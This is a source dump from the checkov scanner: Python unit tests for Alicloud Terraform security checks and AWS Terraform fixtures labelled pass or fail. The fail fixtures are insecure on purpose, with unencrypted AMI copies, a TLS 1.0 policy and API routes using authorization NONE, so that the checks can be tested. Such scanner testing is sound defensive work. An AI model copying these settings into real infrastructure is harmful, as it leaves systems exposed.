"example_PasswordPolicyReuse") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_ram_account_password_policy.pass', } failing_resources = { 'alicloud_ram_account_password_policy.fail', 'alicloud_ram_account_password_policy.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_PasswordPolicySymbol.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RAMPasswordPolicySymbol import check class TestPasswordPolicySymbol(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_PasswordPolicySymbol") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_ram_account_password_policy.pass', } failing_resources = { 'alicloud_ram_account_password_policy.fail', 'alicloud_ram_account_password_policy.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_PasswordPolicyUppcaseLetter.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RAMPasswordPolicyUppcaseLetter import check class TestPasswordPolicyUppcaseLetter(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_PasswordPolicyUppcaseLetter") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_ram_account_password_policy.pass', } failing_resources = { 'alicloud_ram_account_password_policy.fail', 'alicloud_ram_account_password_policy.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_RAMSecurityEnforceMFA.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RAMSecurityEnforceMFA import check class TestRAMSecurityEnforceMFA(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RAMSecurityEnforceMFA") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_ram_security_preference.pass', } failing_resources = { 'alicloud_ram_security_preference.fail', 'alicloud_ram_security_preference.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_RDSInstanceAutoUpgrade.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RDSInstanceAutoUpgrade import check class TestRDSInstanceAutoUpgrade(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RDSInstanceAutoUpgrade") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_db_instance.pass', } failing_resources = { 'alicloud_db_instance.fail', 'alicloud_db_instance.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_RDSInstanceLogConnections.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RDSInstanceLogConnections import check class TestRDSInstanceLogConnections(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RDSInstanceLogConnections") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_db_instance.pass', 'alicloud_db_instance.pass2', } failing_resources = { 'alicloud_db_instance.fail', 'alicloud_db_instance.fail2', 'alicloud_db_instance.fail3', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_RDSInstanceLogDisconnections.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RDSInstanceLogDisconnections import check class TestRDSInstanceLogDisconnections(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RDSInstanceLogDisconnections") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_db_instance.pass', 'alicloud_db_instance.pass2', } failing_resources = { 'alicloud_db_instance.fail', 'alicloud_db_instance.fail2', 'alicloud_db_instance.fail3', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_RDSInstanceLogsEnabled.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RDSInstanceLogsEnabled import check class TestRDSInstanceLogsEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RDSInstanceLogsEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_db_instance.pass', 'alicloud_db_instance.pass2', } failing_resources = { 'alicloud_db_instance.fail', 'alicloud_db_instance.fail2', 'alicloud_db_instance.fail3', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_RDSInstanceSSL.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RDSInstanceSSL import check class TestRDSInstanceSSL(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RDSInstanceSSL") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_db_instance.pass', 'alicloud_db_instance.pass2', } failing_resources = { 'alicloud_db_instance.fail', 'alicloud_db_instance.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_RDSIsPublic.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RDSIsPublic import check class TestRDSIsPublic(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RDSIsPublic") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_db_instance.pass', 'alicloud_db_instance.pass2', } failing_resources = { 'alicloud_db_instance.fail', 'alicloud_db_instance.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_RDSRetention.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RDSRetention import check class TestRDSRetention(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RDSRetention") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_db_instance.pass', } failing_resources = { 'alicloud_db_instance.fail', 'alicloud_db_instance.fail2', 'alicloud_db_instance.fail3', 'alicloud_db_instance.fail4', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_RDSTransparentDataEncryption.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.RDSTransparentDataEncryptionEnabled import check class TestRDSTransparentDataEncryptionEnabled(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_RDSTransparentDataEncryptionEnabled") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_db_instance.pass', 'alicloud_db_instance.pass2', } failing_resources = { 'alicloud_db_instance.fail', 'alicloud_db_instance.fail2', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_SecurityGroupUnrestrictedIngress22.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.SecurityGroupUnrestrictedIngress22 import check class TestSecurityGroupUnrestrictedIngress22(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AbsSecurityGroupUnrestrictedIngress") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_security_group_rule.allow_all_high', 'alicloud_security_group_rule.allow_all_dns', 'alicloud_security_group_rule.allow_all_http', 'alicloud_security_group_rule.allow_all_ftp', 'alicloud_security_group_rule.allow_all_ftpdata', 'alicloud_security_group_rule.allow_all_mssqlmonitor', 'alicloud_security_group_rule.allow_all_mssql', 'alicloud_security_group_rule.allow_all_mysql', 'alicloud_security_group_rule.allow_all_oracledb', 'alicloud_security_group_rule.allow_all_postgresql', 'alicloud_security_group_rule.allow_all_rdp', 'alicloud_security_group_rule.allow_all_smtp', 'alicloud_security_group_rule.allow_all_telnet', 'alicloud_security_group_rule.allow_all_vnclistener', 'alicloud_security_group_rule.allow_all_vncserver', } failing_resources = { 'alicloud_security_group_rule.allow_all_tcp', 'alicloud_security_group_rule.allow_all_tcp2', 'alicloud_security_group_rule.allow_all_low', 'alicloud_security_group_rule.allow_all_ssh', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_SecurityGroupUnrestrictedIngress3389.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.SecurityGroupUnrestrictedIngress3389 import check class TestSecurityGroupUnrestrictedIngress3389(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_AbsSecurityGroupUnrestrictedIngress") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_security_group_rule.allow_all_low', 'alicloud_security_group_rule.allow_all_dns', 'alicloud_security_group_rule.allow_all_http', 'alicloud_security_group_rule.allow_all_ftp', 'alicloud_security_group_rule.allow_all_ftpdata', 'alicloud_security_group_rule.allow_all_mssqlmonitor', 'alicloud_security_group_rule.allow_all_mssql', 'alicloud_security_group_rule.allow_all_mysql', 'alicloud_security_group_rule.allow_all_oracledb', 'alicloud_security_group_rule.allow_all_postgresql', 'alicloud_security_group_rule.allow_all_smtp', 'alicloud_security_group_rule.allow_all_ssh', 'alicloud_security_group_rule.allow_all_telnet', 'alicloud_security_group_rule.allow_all_vnclistener', 'alicloud_security_group_rule.allow_all_vncserver', } failing_resources = { 'alicloud_security_group_rule.allow_all_tcp', 'alicloud_security_group_rule.allow_all_tcp2', 'alicloud_security_group_rule.allow_all_high', 'alicloud_security_group_rule.allow_all_rdp', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/alicloud/test_TLSPoliciesAreSecure.py ================================================ import os import unittest from checkov.runner_filter import RunnerFilter from checkov.terraform.runner import Runner from checkov.terraform.checks.resource.alicloud.TLSPoliciesAreSecure import check class TestTLSPoliciesAreSecure(unittest.TestCase): def test(self): runner = Runner() current_dir = os.path.dirname(os.path.realpath(__file__)) test_files_dir = os.path.join(current_dir, "example_TLSPoliciesAreSecure") report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])) summary = report.get_summary() passing_resources = { 'alicloud_slb_tls_cipher_policy.pass', } failing_resources = { 'alicloud_slb_tls_cipher_policy.fail', } skipped_resources = {} passed_check_resources = set([c.resource for c in report.passed_checks]) failed_check_resources = set([c.resource for c in report.failed_checks]) self.assertEqual(summary['passed'], len(passing_resources)) self.assertEqual(summary['failed'], len(failing_resources)) self.assertEqual(summary['skipped'], len(skipped_resources)) self.assertEqual(summary['parsing_errors'], 0) self.assertEqual(passing_resources, passed_check_resources) self.assertEqual(failing_resources, failed_check_resources) if __name__ == '__main__': unittest.main() ================================================ FILE: tests/terraform/checks/resource/aws/__init__.py ================================================ ================================================ FILE: tests/terraform/checks/resource/aws/example_ACMCertCreateBeforeDestroy/main.tf ================================================ resource "aws_acm_certificate" "pass" { domain_name = "example.com" validation_method = "DNS" tags = { Environment = "test" } lifecycle { create_before_destroy = true } } resource "aws_acm_certificate" "fail" { domain_name = "example.com" validation_method = "DNS" tags = { Environment = "test" } lifecycle { create_before_destroy = false } } resource "aws_acm_certificate" "fail2" { domain_name = "example.com" validation_method = "DNS" tags = { Environment = "test" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_ACMCertSetLoggingPreference/main.tf ================================================ resource "aws_acm_certificate" "pass" { domain_name = "example.com" validation_method = "DNS" tags = { Environment = "test" } options { certificate_transparency_logging_preference = "ENABLED" } # lifecycle { # create_before_destroy = true # } } resource "aws_acm_certificate" "pass2" { domain_name = "example.com" validation_method = "DNS" tags = { Environment = "test" } # options { # certificate_transparency_logging_preference = "DISABLED" # } # lifecycle { # create_before_destroy = true # } } resource "aws_acm_certificate" "fail" { domain_name = "example.com" validation_method = "DNS" tags = { Environment = "test" } options { certificate_transparency_logging_preference = "DISABLED" } # lifecycle { # create_before_destroy = true # } } ================================================ FILE: tests/terraform/checks/resource/aws/example_ALBDesyncMode/main.tf ================================================ # pass resource "aws_lb" "pass" { internal = false load_balancer_type = "application" name = "alb" subnets = var.public_subnet_ids desync_mitigation_mode = "strictest" drop_invalid_header_fields = true } resource "aws_alb" "pass" { internal = false load_balancer_type = "application" name = "alb" subnets = var.public_subnet_ids drop_invalid_header_fields = true } resource "aws_elb" "pass" { name = "foobar-terraform-elb" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] access_logs { bucket = "foo" bucket_prefix = "bar" interval = 60 } listener { instance_port = 8000 instance_protocol = "http" lb_port = 80 lb_protocol = "http" } listener { instance_port = 8000 instance_protocol = "http" lb_port = 443 lb_protocol = "https" ssl_certificate_id = "arn:aws:iam::123456789012:server-certificate/certName" } health_check { healthy_threshold = 2 unhealthy_threshold = 2 timeout = 3 target = "HTTP:8000/" interval = 30 } instances = [aws_instance.foo.id] cross_zone_load_balancing = true idle_timeout = 400 connection_draining = true connection_draining_timeout = 400 tags = { Name = "foobar-terraform-elb" } } resource "aws_elb" "fail" { name = "foobar-terraform-elb" availability_zones = ["us-west-2a", "us-west-2b", "us-west-2c"] access_logs { bucket = "foo" bucket_prefix = "bar" interval = 60 } listener { instance_port = 8000 instance_protocol = "http" lb_port = 80 lb_protocol = "http" } listener { instance_port = 8000 instance_protocol = "http" lb_port = 443 lb_protocol = "https" ssl_certificate_id = "arn:aws:iam::123456789012:server-certificate/certName" } health_check { healthy_threshold = 2 unhealthy_threshold = 2 timeout = 3 target = "HTTP:8000/" interval = 30 } desync_mitigation_mode = "monitor" instances = [aws_instance.foo.id] cross_zone_load_balancing = true idle_timeout = 400 connection_draining = true connection_draining_timeout = 400 tags = { Name = "foobar-terraform-elb" } } resource "aws_lb" "fail" { internal = false load_balancer_type = "application" name = "alb" subnets = var.public_subnet_ids desync_mitigation_mode = "monitor" drop_invalid_header_fields = true } resource "aws_alb" "fail" { internal = false load_balancer_type = "application" name = "alb" subnets = var.public_subnet_ids drop_invalid_header_fields = true desync_mitigation_mode = "monitor" } ================================================ FILE: tests/terraform/checks/resource/aws/example_ALBDropHttpHeaders/main.tf ================================================ # pass resource "aws_lb" "enabled" { internal = false load_balancer_type = "application" name = "alb" subnets = var.public_subnet_ids drop_invalid_header_fields = true } resource "aws_alb" "enabled" { internal = false load_balancer_type = "application" name = "alb" subnets = var.public_subnet_ids drop_invalid_header_fields = true } # failure resource "aws_lb" "default" { internal = false load_balancer_type = "application" name = "alb" subnets = var.public_subnet_ids } resource "aws_alb" "default" { internal = false load_balancer_type = "application" name = "alb" subnets = var.public_subnet_ids } resource "aws_lb" "disabled" { internal = false load_balancer_type = "application" name = "alb" subnets = var.public_subnet_ids drop_invalid_header_fields = false } resource "aws_alb" "disabled" { internal = false load_balancer_type = "application" name = "alb" subnets = var.public_subnet_ids drop_invalid_header_fields = false } # unknown resource "aws_lb" "network" { internal = false load_balancer_type = "network" name = "nlb" subnets = var.public_subnet_ids } resource "aws_lb" "gateway" { load_balancer_type = "gateway" name = "glb" subnet_mapping { subnet_id = var.subnet_id } } ================================================ FILE: tests/terraform/checks/resource/aws/example_AMICopyIsEncrypted/main.tf ================================================ resource "aws_ami_copy" "fail" { name = "terraform-example" description = "A copy of ami-xxxxxxxx" source_ami_id = "ami-xxxxxxxx" source_ami_region = "us-west-1" encrypted = false #default is false tags = { Name = "HelloWorld" test = "failed" } } resource "aws_ami_copy" "fail2" { name = "terraform-example" description = "A copy of ami-xxxxxxxx" source_ami_id = "ami-xxxxxxxx" source_ami_region = "us-west-1" tags = { Name = "HelloWorld" test = "failed" } } resource "aws_ami_copy" "pass" { name = "terraform-example" description = "A copy of ami-xxxxxxxx" source_ami_id = "ami-xxxxxxxx" source_ami_region = "us-west-1" encrypted = true tags = { Name = "HelloWorld" test = "failed" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_AMICopyUsesCMK/main.tf ================================================ resource "aws_ami_copy" "fail" { name = "terraform-example" description = "A copy of ami-xxxxxxxx" source_ami_id = "ami-xxxxxxxx" source_ami_region = "us-west-1" encrypted = false #default is false tags = { Name = "HelloWorld" test = "failed" } } resource "aws_ami_copy" "pass" { name = "terraform-example" description = "A copy of ami-xxxxxxxx" source_ami_id = "ami-xxxxxxxx" source_ami_region = "us-west-1" encrypted = true #default is false kms_key_id = aws_kms_key.copy.arn tags = { Name = "HelloWorld" test = "failed" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_AMIEncryption/main.tf ================================================ resource "aws_ami" "pass" { name = "terraform-example" virtualization_type = "hvm" root_device_name = "/dev/xvda1" ebs_block_device { device_name = "/dev/xvda1" volume_size = 8 snapshot_id = "someid" } ebs_block_device { device_name = "/dev/xvda2" volume_size = 8 encrypted = true } } resource "aws_ami" "pass2" { name = "terraform-example" virtualization_type = "hvm" root_device_name = "/dev/xvda1" ebs_block_device { device_name = "/dev/xvda1" volume_size = 8 encrypted = true } } resource "aws_ami" "fail" { name = "terraform-example" virtualization_type = "hvm" root_device_name = "/dev/xvda1" ebs_block_device { device_name = "/dev/xvda1" volume_size = 8 snapshot_id = "someid" } ebs_block_device { device_name = "/dev/xvda2" volume_size = 8 encrypted = false } } resource "aws_ami" "fail2" { name = "terraform-example" virtualization_type = "hvm" root_device_name = "/dev/xvda1" ebs_block_device { device_name = "/dev/xvda1" volume_size = 8 encrypted = false } } resource "aws_ami" "fail3" { name = "terraform-example" virtualization_type = "hvm" root_device_name = "/dev/xvda1" ebs_block_device { device_name = "/dev/xvda1" volume_size = 8 } } provider "aws" { region = "eu-west-2" } ================================================ FILE: tests/terraform/checks/resource/aws/example_AMILaunchIsShared/main.tf ================================================ resource "aws_ami_launch_permission" "fail" { image_id = "ami-2345678" account_id = "987654321" } ================================================ FILE: tests/terraform/checks/resource/aws/example_APIGatewayCacheEnable/main.tf ================================================ resource "aws_api_gateway_stage" "pass" { name = "example" cache_cluster_enabled = true } resource "aws_api_gateway_stage" "fail" { name = "example" } ================================================ FILE: tests/terraform/checks/resource/aws/example_APIGatewayCreateBeforeDestroy/main.tf ================================================ resource "aws_api_gateway_rest_api" "fail" { name = "example" tags = { test = "Fail" } # lifecycle { # create_before_destroy=true # } } resource "aws_api_gateway_rest_api" "fail2" { name = "example" tags = { test = "Fail" } lifecycle { create_before_destroy = false } } resource "aws_api_gateway_rest_api" "pass" { name = "example" tags = { test = "Fail" } lifecycle { create_before_destroy = true } } ================================================ FILE: tests/terraform/checks/resource/aws/example_APIGatewayDeploymentCreateBeforeDestroy/main.tf ================================================ resource "aws_api_gateway_deployment" "pass" { rest_api_id = "some rest api id" stage_name = "some name" lifecycle { create_before_destroy = true } tags { project = "ProjectName" } } resource "aws_api_gateway_deployment" "fail" { rest_api_id = "some rest api id" stage_name = "some name" lifecycle { create_before_destroy = false } tags { project = "ProjectName" } } resource "aws_api_gateway_deployment" "fail2" { rest_api_id = "some rest api id" stage_name = "some name" tags { project = "ProjectName" } } ================================================ FILE: tests/terraform/checks/resource/aws/example_APIGatewayDomainNameTLS/main.tf ================================================ provider "aws" { region = "eu-west-2" } resource "aws_api_gateway_domain_name" "fail" { security_policy = "TLS_1_0" domain_name = "api.freebeer10.com" } resource "aws_api_gateway_domain_name" "pass" { security_policy = "TLS_1_2" domain_name = "api.freebeer12.com" } resource "aws_api_gateway_domain_name" "pass2" { security_policy = "SecurityPolicy_TLS13_1_3_2025_09" domain_name = "api.modern-tls13.com" } resource "aws_api_gateway_domain_name" "pass3" { security_policy = "SecurityPolicy_TLS13_1_2_2021_06" domain_name = "api.tls13-12.com" } ================================================ FILE: tests/terraform/checks/resource/aws/example_APIGatewayMethodSettingsCacheEnabled/main.tf ================================================ resource "aws_api_gateway_method_settings" "fail" { rest_api_id = aws_api_gateway_rest_api.fail.id stage_name = aws_api_gateway_stage.fail.stage_name method_path = "path1/GET" settings { caching_enabled = false metrics_enabled = false logging_level = "INFO" cache_data_encrypted = false data_trace_enabled = false } } resource "aws_api_gateway_method_settings" "pass" { rest_api_id = aws_api_gateway_rest_api.fail.id stage_name = aws_api_gateway_stage.fail.stage_name method_path = "path1/GET" settings { caching_enabled = true metrics_enabled = false logging_level = "INFO" cache_data_encrypted = true data_trace_enabled = false } } ================================================ FILE: tests/terraform/checks/resource/aws/example_APIGatewayMethodSettingsCacheEncrypted/main.tf ================================================ resource "aws_api_gateway_method_settings" "fail" { rest_api_id = aws_api_gateway_rest_api.fail.id stage_name = aws_api_gateway_stage.fail.stage_name method_path = "path1/GET" settings { caching_enabled = true metrics_enabled = false logging_level = "INFO" cache_data_encrypted = false data_trace_enabled = false } } resource "aws_api_gateway_method_settings" "pass" { rest_api_id = aws_api_gateway_rest_api.fail.id stage_name = aws_api_gateway_stage.fail.stage_name method_path = "path1/GET" settings { caching_enabled = true metrics_enabled = false logging_level = "INFO" cache_data_encrypted = true data_trace_enabled = false } } resource "aws_api_gateway_method_settings" "pass2" { rest_api_id = aws_api_gateway_rest_api.fail.id stage_name = aws_api_gateway_stage.fail.stage_name method_path = "path1/GET" settings { metrics_enabled = false logging_level = "INFO" data_trace_enabled = false } } ================================================ FILE: tests/terraform/checks/resource/aws/example_APIGatewayMethodSettingsDataTrace/main.tf ================================================ resource "aws_api_gateway_method_settings" "fail" { rest_api_id = aws_api_gateway_rest_api.test.id stage_name = aws_api_gateway_stage.test.stage_name method_path = "path1/GET" settings { data_trace_enabled = true } } resource "aws_api_gateway_method_settings" "pass_explicit" { rest_api_id = aws_api_gateway_rest_api.test.id stage_name = aws_api_gateway_stage.test.stage_name method_path = "path1/GET" settings { data_trace_enabled = false } } resource "aws_api_gateway_method_settings" "pass_implicit" { rest_api_id = aws_api_gateway_rest_api.test.id stage_name = aws_api_gateway_stage.test.stage_name method_path = "path1/GET" } ================================================ FILE: tests/terraform/checks/resource/aws/example_APIGatewayV2RouteDefinesAuthorizationType/main.tf ================================================ resource "aws_apigatewayv2_route" "fail" { api_id = aws_apigatewayv2_api.example.id route_key = "$default" } resource "aws_apigatewayv2_route" "fail2" { api_id = aws_apigatewayv2_api.example.id route_key = "$default" authorization_type = "NONE" } resource "aws_apigatewayv2_route" "pass2" { api_id = aws_apigatewayv2_api.example.id route_key = "$default" authorization_type = "JWT" } resource "aws_apigatewayv2_route" "pass" { api_id = aws_apigatewayv2_api.example.id route_key = "$default" authorization_type = "AWS_IAM" } 